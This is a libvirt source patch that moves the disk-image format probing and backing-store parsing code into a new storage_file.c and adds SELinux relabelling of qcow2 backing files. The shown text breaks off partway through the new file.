  Move virStorageGetMetadataFromFD() to libvirt_util

  Finally, we get to the point of all this.

  Move virStorageGetMetadataFromFD() to virStorageFileGetMetadataFromFD()
  and move to src/util/storage_file.[ch]

  There's no functional changes in this patch, just code movement

  * src/storage/storage_backend_fs.c: move code from here ...

  * src/util/storage_file.[ch]: ... to here

  * src/libvirt_private.syms: export virStorageFileGetMetadataFromFD()

  (cherry picked from commit a010fb58d6bce026852d611e32302da7687639e5)

  Add virStorageFileGetMetadata() helper

  * src/util/storage_file.c: add virStorageFileGetMetadata() so that
    the caller does not need to open the file

  (cherry picked from commit 295fd6e8330c7416e2d97634364f2890133c28fa)

Fedora-patch: libvirt-svirt-relabel-qcow2-backing-files.patch
---
 src/Makefile.am          |    1 +
 src/libvirt_private.syms |    7 +-
 src/security_selinux.c   |   28 +++
 src/storage_backend.c    |   17 +-
 src/storage_backend_fs.c |  418 +++++----------------------------------------
 src/storage_conf.c       |   25 +--
 src/storage_conf.h       |   17 --
 src/storage_file.c       |  424 ++++++++++++++++++++++++++++++++++++++++++++++
 src/storage_file.h       |   62 +++++++
 src/util.h               |    1 +
 src/vbox/vbox_tmpl.c     |   15 +-
 11 files changed, 591 insertions(+), 424 deletions(-)
 create mode 100644 src/storage_file.c
 create mode 100644 src/storage_file.h

diff --git a/src/Makefile.am b/src/Makefile.am
index 463252e..3d279f2 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -54,6 +54,7 @@ UTIL_SOURCES =							\
 		hostusb.c hostusb.h				\
 		qparams.c qparams.h				\
 		storage_encryption_conf.h storage_encryption_conf.c	\
+		storage_file.c storage_file.h			\
 		threads.c threads.h				\
 		threads-pthread.h				\
 		threads-win32.h					\
diff --git a/src/libvirt_private.syms b/src/libvirt_private.syms
index 867678f..500c209 100644
--- a/src/libvirt_private.syms
+++ b/src/libvirt_private.syms
@@ -359,8 +359,6 @@ virStorageVolDefParseNode;
 virStoragePoolFormatDiskTypeToString;
 virStoragePoolFormatFileSystemTypeToString;
 virStoragePoolFormatFileSystemNetTypeToString;
-virStorageVolFormatFileSystemTypeToString;
-virStorageVolFormatFileSystemTypeFromString;
 virStoragePoolTypeFromString;
 virStoragePartedFsTypeTypeToString;
 virStoragePoolObjLock;
@@ -373,6 +371,11 @@ virStorageEncryptionParseNode;
 virStorageEncryptionFormat;
 virStorageGenerateQcowPassphrase;
 
+# storage_file.h
+virStorageFileFormatTypeToString;
+virStorageFileFormatTypeFromString;
+virStorageFileGetMetadata;
+virStorageFileGetMetadataFromFD;
 
 # threads.h
 virMutexInit;
diff --git a/src/security_selinux.c b/src/security_selinux.c
index b4dc153..600fc75 100644
--- a/src/security_selinux.c
+++ b/src/security_selinux.c
@@ -27,6 +27,7 @@
 #include "logging.h"
 #include "pci.h"
 #include "hostusb.h"
+#include "storage_file.h"
 
 #define VIR_FROM_THIS VIR_FROM_SECURITY
 
@@ -403,10 +404,37 @@ SELinuxSetSecurityImageLabel(virConnectPtr conn,
 
 {
     const virSecurityLabelDefPtr secdef = &vm->def->seclabel;
+    const char *path;
 
     if (!disk->src)
         return 0;
 
+    path = disk->src;
+    do {
+        virStorageFileMetadata meta;
+        int ret;
+
+        memset(&meta, 0, sizeof(meta));
+
+        ret = virStorageFileGetMetadata(conn, path, &meta);
+
+        if (path != disk->src)
+            VIR_FREE(path);
+        path = NULL;
+
+        if (ret < 0)
+            return -1;
+
+        if (meta.backingStore != NULL &&
+            SELinuxSetFilecon(conn, meta.backingStore,
+                              default_content_context) < 0) {
+            VIR_FREE(meta.backingStore);
+            return -1;
+        }
+
+        path = meta.backingStore;
+    } while (path != NULL);
+
     if (disk->shared) {
         return SELinuxSetFilecon(conn, disk->src, default_image_context);
     } else if (disk->readonly) {
diff --git a/src/storage_backend.c b/src/storage_backend.c
index 800d4ea..1b65c5d 100644
--- a/src/storage_backend.c
+++ b/src/storage_backend.c
@@ -51,6 +51,7 @@
 #include "internal.h"
 #include "secret_conf.h"
 #include "uuid.h"
+#include "storage_file.h"
 #include "storage_backend.h"
 #include "logging.h"
 
@@ -462,16 +463,16 @@ virStorageBackendCreateQemuImg(virConnectPtr conn,
     char *create_tool;
     short use_kvmimg;
 
-    const char *type = virStorageVolFormatFileSystemTypeToString(vol->target.format);
+    const char *type = virStorageFileFormatTypeToString(vol->target.format);
     const char *backingType = vol->backingStore.path ?
-        virStorageVolFormatFileSystemTypeToString(vol->backingStore.format) : NULL;
+        virStorageFileFormatTypeToString(vol->backingStore.format) : NULL;
 
     const char *inputBackingPath = (inputvol ? inputvol->backingStore.path
                                              : NULL);
     const char *inputPath = inputvol ? inputvol->target.path : NULL;
     /* Treat input block devices as 'raw' format */
     const char *inputType = inputPath ?
-                            virStorageVolFormatFileSystemTypeToString(inputvol->type == VIR_STORAGE_VOL_BLOCK ? VIR_STORAGE_VOL_FILE_RAW : inputvol->target.format) :
+                            virStorageFileFormatTypeToString(inputvol->type == VIR_STORAGE_VOL_BLOCK ? VIR_STORAGE_FILE_RAW : inputvol->target.format) :
                             NULL;
 
     const char **imgargv;
@@ -552,8 +553,8 @@ virStorageBackendCreateQemuImg(virConnectPtr conn,
     if (vol->target.encryption != NULL) {
         virStorageEncryptionPtr enc;
 
-        if (vol->target.format != VIR_STORAGE_VOL_FILE_QCOW &&
-            vol->target.format != VIR_STORAGE_VOL_FILE_QCOW2) {
+        if (vol->target.format != VIR_STORAGE_FILE_QCOW &&
+            vol->target.format != VIR_STORAGE_FILE_QCOW2) {
             virStorageReportError(conn, VIR_ERR_NO_SUPPORT,
                                   _("qcow volume encryption unsupported with "
                                     "volume format %s"), type);
@@ -644,7 +645,7 @@ virStorageBackendCreateQcowCreate(virConnectPtr conn,
         return -1;
     }
 
-    if (vol->target.format != VIR_STORAGE_VOL_FILE_QCOW2) {
+    if (vol->target.format != VIR_STORAGE_FILE_QCOW2) {
         virStorageReportError(conn, VIR_ERR_INTERNAL_ERROR,
                               _("unsupported storage vol type %d"),
                               vol->target.format);
@@ -735,9 +736,9 @@ virStorageBackendGetBuildVolFromFunction(virConnectPtr conn,
      * tool for converting
      */
     if ((vol->type == VIR_STORAGE_VOL_FILE &&
-         vol->target.format != VIR_STORAGE_VOL_FILE_RAW) ||
+         vol->target.format != VIR_STORAGE_FILE_RAW) ||
         (inputvol->type == VIR_STORAGE_VOL_FILE &&
-         inputvol->target.format != VIR_STORAGE_VOL_FILE_RAW)) {
+         inputvol->target.format != VIR_STORAGE_FILE_RAW)) {
 
         if ((tool_type = virStorageBackendFindFSImageTool(NULL)) < 0) {
             virStorageReportError(conn, VIR_ERR_INTERNAL_ERROR,
diff --git a/src/storage_backend_fs.c b/src/storage_backend_fs.c
index 01cb171..6816da8 100644
--- a/src/storage_backend_fs.c
+++ b/src/storage_backend_fs.c
@@ -41,259 +41,24 @@
 #include "virterror_internal.h"
 #include "storage_backend_fs.h"
 #include "storage_conf.h"
+#include "storage_file.h"
 #include "util.h"
 #include "memory.h"
 #include "xml.h"
 
-enum lv_endian {
-    LV_LITTLE_ENDIAN = 1, /* 1234 */
-    LV_BIG_ENDIAN         /* 4321 */
-};
-
-enum {
-    BACKING_STORE_OK,
-    BACKING_STORE_INVALID,
-    BACKING_STORE_ERROR,
-};
-
-static int cowGetBackingStore(virConnectPtr, char **,
-                              const unsigned char *, size_t);
-static int qcowXGetBackingStore(virConnectPtr, char **,
-                                const unsigned char *, size_t);
-static int vmdk4GetBackingStore(virConnectPtr, char **,
-                                const unsigned char *, size_t);
-
-/* Either 'magic' or 'extension' *must* be provided */
-struct FileTypeInfo {
-    int type;           /* One of the constants above */
-    const char *magic;  /* Optional string of file magic
-                         * to check at head of file */
-    const char *extension; /* Optional file extension to check */
-    enum lv_endian endian; /* Endianness of file format */
-    int versionOffset;    /* Byte offset from start of file
-                           * where we find version number,
-                           * -1 to skip version test */
-    int versionNumber;    /* Version number to validate */
-    int sizeOffset;       /* Byte offset from start of file
-                           * where we find capacity info,
-                           * -1 to use st_size as capacity */
-    int sizeBytes;        /* Number of bytes for size field */
-    int sizeMultiplier;   /* A scaling factor if size is not in bytes */
-                          /* Store a COW base image path (possibly relative),
-                           * or NULL if there is no COW base image, to RES;
-                           * return BACKING_STORE_* */
-    int qcowCryptOffset;  /* Byte offset from start of file
-                           * where to find encryption mode,
-                           * -1 if encryption is not used */
-    int (*getBackingStore)(virConnectPtr conn, char **res,
-                           const unsigned char *buf, size_t buf_size);
-};
-struct FileTypeInfo const fileTypeInfo[] = {
-    /* Bochs */
-    /* XXX Untested
-    { VIR_STORAGE_VOL_FILE_BOCHS, "Bochs Virtual HD Image", NULL,
-      LV_LITTLE_ENDIAN, 64, 0x20000,
-      32+16+16+4+4+4+4+4, 8, 1, -1, NULL },*/
-    /* CLoop */
-    /* XXX Untested
-    { VIR_STORAGE_VOL_CLOOP, "#!/bin/sh\n#V2.0 Format\nmodprobe cloop file=$0 && mount -r -t iso9660 /dev/cloop $1\n", NULL,
-      LV_LITTLE_ENDIAN, -1, 0,
-      -1, 0, 0, -1, NULL }, */
-    /* Cow */
-    { VIR_STORAGE_VOL_FILE_COW, "OOOM", NULL,
-      LV_BIG_ENDIAN, 4, 2,
-      4+4+1024+4, 8, 1, -1, cowGetBackingStore },
-    /* DMG */
-    /* XXX QEMU says there's no magic for dmg, but we should check... */
-    { VIR_STORAGE_VOL_FILE_DMG, NULL, ".dmg",
-      0, -1, 0,
-      -1, 0, 0, -1, NULL },
-    /* XXX there's probably some magic for iso we can validate too... */
-    { VIR_STORAGE_VOL_FILE_ISO, NULL, ".iso",
-      0, -1, 0,
-      -1, 0, 0, -1, NULL },
-    /* Parallels */
-    /* XXX Untested
-    { VIR_STORAGE_VOL_FILE_PARALLELS, "WithoutFreeSpace", NULL,
-      LV_LITTLE_ENDIAN, 16, 2,
-      16+4+4+4+4, 4, 512, -1, NULL },
-    */
-    /* QCow */
-    { VIR_STORAGE_VOL_FILE_QCOW, "QFI", NULL,
-      LV_BIG_ENDIAN, 4, 1,
-      4+4+8+4+4, 8, 1, 4+4+8+4+4+8+1+1+2, qcowXGetBackingStore },
-    /* QCow 2 */
-    { VIR_STORAGE_VOL_FILE_QCOW2, "QFI", NULL,
-      LV_BIG_ENDIAN, 4, 2,
-      4+4+8+4+4, 8, 1, 4+4+8+4+4+8, qcowXGetBackingStore },
-    /* VMDK 3 */
-    /* XXX Untested
-    { VIR_STORAGE_VOL_FILE_VMDK, "COWD", NULL,
-      LV_LITTLE_ENDIAN, 4, 1,
-      4+4+4, 4, 512, -1, NULL },
-    */
-    /* VMDK 4 */
-    { VIR_STORAGE_VOL_FILE_VMDK, "KDMV", NULL,
-      LV_LITTLE_ENDIAN, 4, 1,
-      4+4+4, 8, 512, -1, vmdk4GetBackingStore },
-    /* Connectix / VirtualPC */
-    /* XXX Untested
-    { VIR_STORAGE_VOL_FILE_VPC, "conectix", NULL,
-      LV_BIG_ENDIAN, -1, 0,
-      -1, 0, 0, -1, NULL},
-    */
-};
-
 #define VIR_FROM_THIS VIR_FROM_STORAGE
 
 static int
-cowGetBackingStore(virConnectPtr conn,
-                   char **res,
-                   const unsigned char *buf,
-                   size_t buf_size)
-{
-#define COW_FILENAME_MAXLEN 1024
-    *res = NULL;
-    if (buf_size < 4+4+ COW_FILENAME_MAXLEN)
-        return BACKING_STORE_INVALID;
-    if (buf[4+4] == '\0') /* cow_header_v2.backing_file[0] */
-        return BACKING_STORE_OK;
-
-    *res = strndup ((const char*)buf + 4+4, COW_FILENAME_MAXLEN);
-    if (*res == NULL) {
-        virReportOOMError(conn);
-        return BACKING_STORE_ERROR;
-    }
-    return BACKING_STORE_OK;
-}
-
-static int
-qcowXGetBackingStore(virConnectPtr conn,
-                     char **res,
-                     const unsigned char *buf,
-                     size_t buf_size)
-{
-    unsigned long long offset;
-    unsigned long size;
-
-    *res = NULL;
-    if (buf_size < 4+4+8+4)
-        return BACKING_STORE_INVALID;
-    offset = (((unsigned long long)buf[4+4] << 56)
-              | ((unsigned long long)buf[4+4+1] << 48)
-              | ((unsigned long long)buf[4+4+2] << 40)
-              | ((unsigned long long)buf[4+4+3] << 32)
-              | ((unsigned long long)buf[4+4+4] << 24)
-              | ((unsigned long long)buf[4+4+5] << 16)
-              | ((unsigned long long)buf[4+4+6] << 8)
-              | buf[4+4+7]); /* QCowHeader.backing_file_offset */
-    if (offset > buf_size)
-        return BACKING_STORE_INVALID;
-    size = ((buf[4+4+8] << 24)
-            | (buf[4+4+8+1] << 16)
-            | (buf[4+4+8+2] << 8)
-            | buf[4+4+8+3]); /* QCowHeader.backing_file_size */
-    if (size == 0)
-        return BACKING_STORE_OK;
-    if (offset + size > buf_size || offset + size < offset)
-        return BACKING_STORE_INVALID;
-    if (size + 1 == 0)
-        return BACKING_STORE_INVALID;
-    if (VIR_ALLOC_N(*res, size + 1) < 0) {
-        virReportOOMError(conn);
-        return BACKING_STORE_ERROR;
-    }
-    memcpy(*res, buf + offset, size);
-    (*res)[size] = '\0';
-    return BACKING_STORE_OK;
-}
-
-
-static int
-vmdk4GetBackingStore(virConnectPtr conn,
-                     char **res,
-                     const unsigned char *buf,
-                     size_t buf_size)
-{
-    static const char prefix[] = "parentFileNameHint=\"";
-
-    char desc[20*512 + 1], *start, *end;
-    size_t len;
-
-    *res = NULL;
-
-    if (buf_size <= 0x200)
-        return BACKING_STORE_INVALID;
-    len = buf_size - 0x200;
-    if (len > sizeof(desc) - 1)
-        len = sizeof(desc) - 1;
-    memcpy(desc, buf + 0x200, len);
-    desc[len] = '\0';
-    start = strstr(desc, prefix);
-    if (start == NULL)
-        return BACKING_STORE_OK;
-    start += strlen(prefix);
-    end = strchr(start, '"');
-    if (end == NULL)
-        return BACKING_STORE_INVALID;
-    if (end == start)
-        return BACKING_STORE_OK;
-    *end = '\0';
-    *res = strdup(start);
-    if (*res == NULL) {
-        virReportOOMError(conn);
-        return BACKING_STORE_ERROR;
-    }
-    return BACKING_STORE_OK;
-}
-
-/**
- * Return an absolute path corresponding to PATH, which is absolute or relative
- * to the directory containing BASE_FILE, or NULL on error
- */
-static char *absolutePathFromBaseFile(const char *base_file, const char *path)
+virStorageBackendProbeTarget(virConnectPtr conn,
+                             virStorageVolTargetPtr target,
+                             char **backingStore,
+                             unsigned long long *allocation,
+                             unsigned long long *capacity,
+                             virStorageEncryptionPtr *encryption)
 {
-    size_t base_size, path_size;
-    char *res, *p;
-
-    if (*path == '/')
-        return strdup(path);
-
-    base_size = strlen(base_file) + 1;
-    path_size = strlen(path) + 1;
-    if (VIR_ALLOC_N(res, base_size - 1 + path_size) < 0)
-        return NULL;
-    memcpy(res, base_file, base_size);
-    p = strrchr(res, '/');
-    if (p != NULL)
-        p++;
-    else
-        p = res;
-    memcpy(p, path, path_size);
-    if (VIR_REALLOC_N(res, (p + path_size) - res) < 0) {
-        /* Ignore failure */
-    }
-    return res;
-}
-
-
-
-/**
- * Probe the header of a file to determine what type of disk image
- * it is, and info about its capacity if available.
- */
-static int virStorageBackendProbeTarget(virConnectPtr conn,
-                                        virStorageVolTargetPtr target,
-                                        char **backingStore,
-                                        unsigned long long *allocation,
-                                        unsigned long long *capacity,
-                                        virStorageEncryptionPtr *encryption) {
-    int fd;
-    unsigned char head[20*512]; /* vmdk4GetBackingStore needs this much. */
-    int len, i, ret;
+    int fd, ret;
+    virStorageFileMetadata meta;
 
-    if (backingStore)
-        *backingStore = NULL;
     if (encryption)
         *encryption = NULL;
 
@@ -311,148 +76,51 @@ static int virStorageBackendProbeTarget(virConnectPtr conn,
         return ret; /* Take care to propagate ret, it is not always -1 */
     }
 
-    if ((len = read(fd, head, sizeof(head))) < 0) {
-        virReportSystemError(conn, errno,
-                             _("cannot read header '%s'"),
-                             target->path);
+    memset(&meta, 0, sizeof(meta));
+
+    if (virStorageFileGetMetadataFromFD(conn, target->path, fd, &meta) < 0) {
         close(fd);
         return -1;
     }
 
     close(fd);
 
-    /* First check file magic */
-    for (i = 0 ; i < ARRAY_CARDINALITY(fileTypeInfo) ; i++) {
-        int mlen;
-        bool encrypted_qcow = false;
-
-        if (fileTypeInfo[i].magic == NULL)
-            continue;
-
-        /* Validate magic data */
-        mlen = strlen(fileTypeInfo[i].magic);
-        if (mlen > len)
-            continue;
-        if (memcmp(head, fileTypeInfo[i].magic, mlen) != 0)
-            continue;
-
-        /* Validate version number info */
-        if (fileTypeInfo[i].versionNumber != -1) {
-            int version;
-
-            if (fileTypeInfo[i].endian == LV_LITTLE_ENDIAN) {
-                version = (head[fileTypeInfo[i].versionOffset+3] << 24) |
-                    (head[fileTypeInfo[i].versionOffset+2] << 16) |
-                    (head[fileTypeInfo[i].versionOffset+1] << 8) |
-                    head[fileTypeInfo[i].versionOffset];
-            } else {
-                version = (head[fileTypeInfo[i].versionOffset] << 24) |
-                    (head[fileTypeInfo[i].versionOffset+1] << 16) |
-                    (head[fileTypeInfo[i].versionOffset+2] << 8) |
-                    head[fileTypeInfo[i].versionOffset+3];
-            }
-            if (version != fileTypeInfo[i].versionNumber)
-                continue;
-        }
-
-        /* Optionally extract capacity from file */
-        if (fileTypeInfo[i].sizeOffset != -1 && capacity) {
-            if (fileTypeInfo[i].endian == LV_LITTLE_ENDIAN) {
-                *capacity =
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+7] << 56) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+6] << 48) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+5] << 40) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+4] << 32) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+3] << 24) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+2] << 16) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+1] << 8) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset]);
-            } else {
-                *capacity =
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset] << 56) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+1] << 48) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+2] << 40) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+3] << 32) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+4] << 24) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+5] << 16) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+6] << 8) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+7]);
-            }
-            /* Avoid unlikely, but theoretically possible overflow */
-            if (*capacity > (ULLONG_MAX / fileTypeInfo[i].sizeMultiplier))
-                continue;
-            *capacity *= fileTypeInfo[i].sizeMultiplier;
-        }
-
-        if (fileTypeInfo[i].qcowCryptOffset != -1) {
-            int crypt_format;
+    target->format = meta.format;
 
-            crypt_format = (head[fileTypeInfo[i].qcowCryptOffset] << 24) |
-                (head[fileTypeInfo[i].qcowCryptOffset+1] << 16) |
-                (head[fileTypeInfo[i].qcowCryptOffset+2] << 8) |
-                head[fileTypeInfo[i].qcowCryptOffset+3];
-            encrypted_qcow = crypt_format != 0;
-        }
-
-        /* Validation passed, we know the file format now */
-        target->format = fileTypeInfo[i].type;
-        if (fileTypeInfo[i].getBackingStore != NULL && backingStore) {
-            char *base;
+    if (backingStore) {
+        *backingStore = meta.backingStore;
+        meta.backingStore = NULL;
+    }
 
-            switch (fileTypeInfo[i].getBackingStore(conn, &base, head, len)) {
-            case BACKING_STORE_OK:
-                break;
+    VIR_FREE(meta.backingStore);
 
-            case BACKING_STORE_INVALID:
-                continue;
+    if (capacity && meta.capacity)
+        *capacity = meta.capacity;
 
-            case BACKING_STORE_ERROR:
-                return -1;
-            }
-            if (base != NULL) {
-                *backingStore
-                    = absolutePathFromBaseFile(target->path, base);
-                VIR_FREE(base);
-                if (*backingStore == NULL) {
-                    virReportOOMError(conn);
-                    return -1;
-                }
-            }
+    if (encryption != NULL && meta.encrypted) {
+        if (VIR_ALLOC(*encryption) < 0) {
+            virReportOOMError(conn);
+            if (backingStore)
+                VIR_FREE(*backingStore);
+            return -1;
         }
-        if (encryption != NULL && encrypted_qcow) {
-            virStorageEncryptionPtr enc;
 
-            if (VIR_ALLOC(enc) < 0) {
-                virReportOOMError(conn);
-                if (backingStore)
-                    VIR_FREE(*backingStore);
-                return -1;
-            }
-            enc->format = VIR_STORAGE_ENCRYPTION_FORMAT_QCOW;
-            *encryption = enc;
-            /* XXX ideally we'd fill in secret UUID here
-             * but we cannot guarentee 'conn' is non-NULL
-             * at this point in time :-(  So we only fill
-             * in secrets when someone first queries a vol
-             */
+        switch (target->format) {
+        case VIR_STORAGE_FILE_QCOW:
+        case VIR_STORAGE_FILE_QCOW2:
+            (*encryption)->format = VIR_STORAGE_ENCRYPTION_FORMAT_QCOW;
+            break;
+        default:
+            break;
         }
-        return 0;
-    }
-
-    /* No magic, so check file extension */
-    for (i = 0 ; i < ARRAY_CARDINALITY(fileTypeInfo) ; i++) {
-        if (fileTypeInfo[i].extension == NULL)
-            continue;
-
-        if (!virFileHasSuffix(target->path, fileTypeInfo[i].extension))
-            continue;
 
-        target->format = fileTypeInfo[i].type;
-        return 0;
+        /* XXX ideally we'd fill in secret UUID here
+         * but we cannot guarentee 'conn' is non-NULL
+         * at this point in time :-(  So we only fill
+         * in secrets when someone first queries a vol
+         */
     }
 
-    /* All fails, so call it a raw file */
-    target->format = VIR_STORAGE_VOL_FILE_RAW;
     return 0;
 }
 
@@ -891,7 +559,7 @@ virStorageBackendFileSystemRefresh(virConnectPtr conn,
             goto no_memory;
 
         vol->type = VIR_STORAGE_VOL_FILE;
-        vol->target.format = VIR_STORAGE_VOL_FILE_RAW; /* Real value is filled in during probe */
+        vol->target.format = VIR_STORAGE_FILE_RAW; /* Real value is filled in during probe */
         if (virAsprintf(&vol->target.path, "%s/%s",
                         pool->def->target.path,
                         vol->name) == -1)
@@ -918,7 +586,7 @@ virStorageBackendFileSystemRefresh(virConnectPtr conn,
         }
 
         if (backingStore != NULL) {
-            if (vol->target.format == VIR_STORAGE_VOL_FILE_QCOW2 &&
+            if (vol->target.format == VIR_STORAGE_FILE_QCOW2 &&
                 STRPREFIX("fmt:", backingStore)) {
                 char *fmtstr = backingStore + 4;
                 char *path = strchr(fmtstr, ':');
@@ -927,7 +595,7 @@ virStorageBackendFileSystemRefresh(virConnectPtr conn,
                 } else {
                     *path = '\0';
                     if ((vol->backingStore.format =
-                         virStorageVolFormatFileSystemTypeFromString(fmtstr)) < 0) {
+                         virStorageFileFormatTypeFromString(fmtstr)) < 0) {
                         VIR_FREE(backingStore);
                     } else {
                         memmove(backingStore, path, strlen(path) + 1);
@@ -1121,9 +789,9 @@ _virStorageBackendFileSystemVolBuild(virConnectPtr conn,
                                                                inputvol);
         if (!create_func)
             return -1;
-    } else if (vol->target.format == VIR_STORAGE_VOL_FILE_RAW) {
+    } else if (vol->target.format == VIR_STORAGE_FILE_RAW) {
         create_func = virStorageBackendCreateRaw;
-    } else if (vol->target.format == VIR_STORAGE_VOL_FILE_DIR) {
+    } else if (vol->target.format == VIR_STORAGE_FILE_DIR) {
         create_func = createFileDir;
     } else if ((tool_type = virStorageBackendFindFSImageTool(NULL)) != -1) {
         create_func = virStorageBackendFSImageToolTypeToFunc(conn, tool_type);
diff --git a/src/storage_conf.c b/src/storage_conf.c
index cb063cc..788de15 100644
--- a/src/storage_conf.c
+++ b/src/storage_conf.c
@@ -36,6 +36,7 @@
 #include "virterror_internal.h"
 #include "datatypes.h"
 #include "storage_conf.h"
+#include "storage_file.h"
 
 #include "xml.h"
 #include "uuid.h"
@@ -82,12 +83,6 @@ VIR_ENUM_IMPL(virStorageVolFormatDisk,
               "linux-lvm", "linux-raid",
               "extended")
 
-VIR_ENUM_IMPL(virStorageVolFormatFileSystem,
-              VIR_STORAGE_VOL_FILE_LAST,
-              "raw", "dir", "bochs",
-              "cloop", "cow", "dmg", "iso",
-              "qcow", "qcow2", "vmdk", "vpc")
-
 VIR_ENUM_IMPL(virStoragePartedFsType,
               VIR_STORAGE_PARTED_FS_TYPE_LAST,
               "ext2", "ext2", "fat16",
@@ -150,9 +145,9 @@ static virStoragePoolTypeInfo poolTypeInfo[] = {
     },
     { .poolType = VIR_STORAGE_POOL_DIR,
       .volOptions = {
-            .defaultFormat = VIR_STORAGE_VOL_FILE_RAW,
-            .formatFromString = virStorageVolFormatFileSystemTypeFromString,
-            .formatToString = virStorageVolFormatFileSystemTypeToString,
+            .defaultFormat = VIR_STORAGE_FILE_RAW,
+            .formatFromString = virStorageFileFormatTypeFromString,
+            .formatToString = virStorageFileFormatTypeToString,
         },
     },
     { .poolType = VIR_STORAGE_POOL_FS,
@@ -162,9 +157,9 @@ static virStoragePoolTypeInfo poolTypeInfo[] = {
             .formatToString = virStoragePoolFormatFileSystemTypeToString,
         },
       .volOptions = {
-            .defaultFormat = VIR_STORAGE_VOL_FILE_RAW,
-            .formatFromString = virStorageVolFormatFileSystemTypeFromString,
-            .formatToString = virStorageVolFormatFileSystemTypeToString,
+            .defaultFormat = VIR_STORAGE_FILE_RAW,
+            .formatFromString = virStorageFileFormatTypeFromString,
+            .formatToString = virStorageFileFormatTypeToString,
         },
     },
     { .poolType = VIR_STORAGE_POOL_NETFS,
@@ -176,9 +171,9 @@ static virStoragePoolTypeInfo poolTypeInfo[] = {
             .formatToString = virStoragePoolFormatFileSystemNetTypeToString,
         },
       .volOptions = {
-            .defaultFormat = VIR_STORAGE_VOL_FILE_RAW,
-            .formatFromString = virStorageVolFormatFileSystemTypeFromString,
-            .formatToString = virStorageVolFormatFileSystemTypeToString,
+            .defaultFormat = VIR_STORAGE_FILE_RAW,
+            .formatFromString = virStorageFileFormatTypeFromString,
+            .formatToString = virStorageFileFormatTypeToString,
         },
     },
     { .poolType = VIR_STORAGE_POOL_ISCSI,
diff --git a/src/storage_conf.h b/src/storage_conf.h
index 421d305..9fedb12 100644
--- a/src/storage_conf.h
+++ b/src/storage_conf.h
@@ -429,23 +429,6 @@ enum virStoragePoolFormatLogical {
 };
 VIR_ENUM_DECL(virStoragePoolFormatLogical)
 
-
-enum virStorageVolFormatFileSystem {
-    VIR_STORAGE_VOL_FILE_RAW = 0,
-    VIR_STORAGE_VOL_FILE_DIR,
-    VIR_STORAGE_VOL_FILE_BOCHS,
-    VIR_STORAGE_VOL_FILE_CLOOP,
-    VIR_STORAGE_VOL_FILE_COW,
-    VIR_STORAGE_VOL_FILE_DMG,
-    VIR_STORAGE_VOL_FILE_ISO,
-    VIR_STORAGE_VOL_FILE_QCOW,
-    VIR_STORAGE_VOL_FILE_QCOW2,
-    VIR_STORAGE_VOL_FILE_VMDK,
-    VIR_STORAGE_VOL_FILE_VPC,
-    VIR_STORAGE_VOL_FILE_LAST,
-};
-VIR_ENUM_DECL(virStorageVolFormatFileSystem)
-
 /*
  * XXX these are basically partition types.
  *
diff --git a/src/storage_file.c b/src/storage_file.c
new file mode 100644
index 0000000..44057d2
--- /dev/null
+++ b/src/storage_file.c
@@ -0,0 +1,424 @@
+/*
+ * storage_file.c: file utility functions for FS storage backend
+ *
+ * Copyright (C) 2007-2009 Red Hat, Inc.
+ * Copyright (C) 2007-2008 Daniel P. Berrange
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307  USA
+ *
+ * Author: Daniel P. Berrange <berrange at redhat.com>
+ */
+
+#include <config.h>
+#include "storage_file.h"
+
+#include <unistd.h>
+#include <fcntl.h>
+#include "memory.h"
+#include "virterror_internal.h"
+
+#define VIR_FROM_THIS VIR_FROM_STORAGE
+
+VIR_ENUM_IMPL(virStorageFileFormat,
+              VIR_STORAGE_FILE_LAST,
+              "raw", "dir", "bochs",
+              "cloop", "cow", "dmg", "iso",
+              "qcow", "qcow2", "vmdk", "vpc")
+
+enum lv_endian {
+    LV_LITTLE_ENDIAN = 1, /* 1234 */
+    LV_BIG_ENDIAN         /* 4321 */
+};
+
+enum {
+    BACKING_STORE_OK,
+    BACKING_STORE_INVALID,
+    BACKING_STORE_ERROR,
+};
+
+/* Either 'magic' or 'extension' *must* be provided */
+struct FileTypeInfo {
+    int type;           /* One of the constants above */
+    const char *magic;  /* Optional string of file magic
+                         * to check at head of file */
+    const char *extension; /* Optional file extension to check */
+    enum lv_endian endian; /* Endianness of file format */
+    int versionOffset;    /* Byte offset from start of file
+                           * where we find version number,
+                           * -1 to skip version test */
+    int versionNumber;    /* Version number to validate */
+    int sizeOffset;       /* Byte offset from start of file
+                           * where we find capacity info,
+                           * -1 to use st_size as capacity */
+    int sizeBytes;        /* Number of bytes for size field */
+    int sizeMultiplier;   /* A scaling factor if size is not in bytes */
+                          /* Store a COW base image path (possibly relative),
+                           * or NULL if there is no COW base image, to RES;
+                           * return BACKING_STORE_* */
+    int qcowCryptOffset;  /* Byte offset from start of file
+                           * where to find encryption mode,
+                           * -1 if encryption is not used */
+    int (*getBackingStore)(virConnectPtr conn, char **res,
+                           const unsigned char *buf, size_t buf_size);
+};
+
+static int cowGetBackingStore(virConnectPtr, char **,
+                              const unsigned char *, size_t);
+static int qcowXGetBackingStore(virConnectPtr, char **,
+                                const unsigned char *, size_t);
+static int vmdk4GetBackingStore(virConnectPtr, char **,
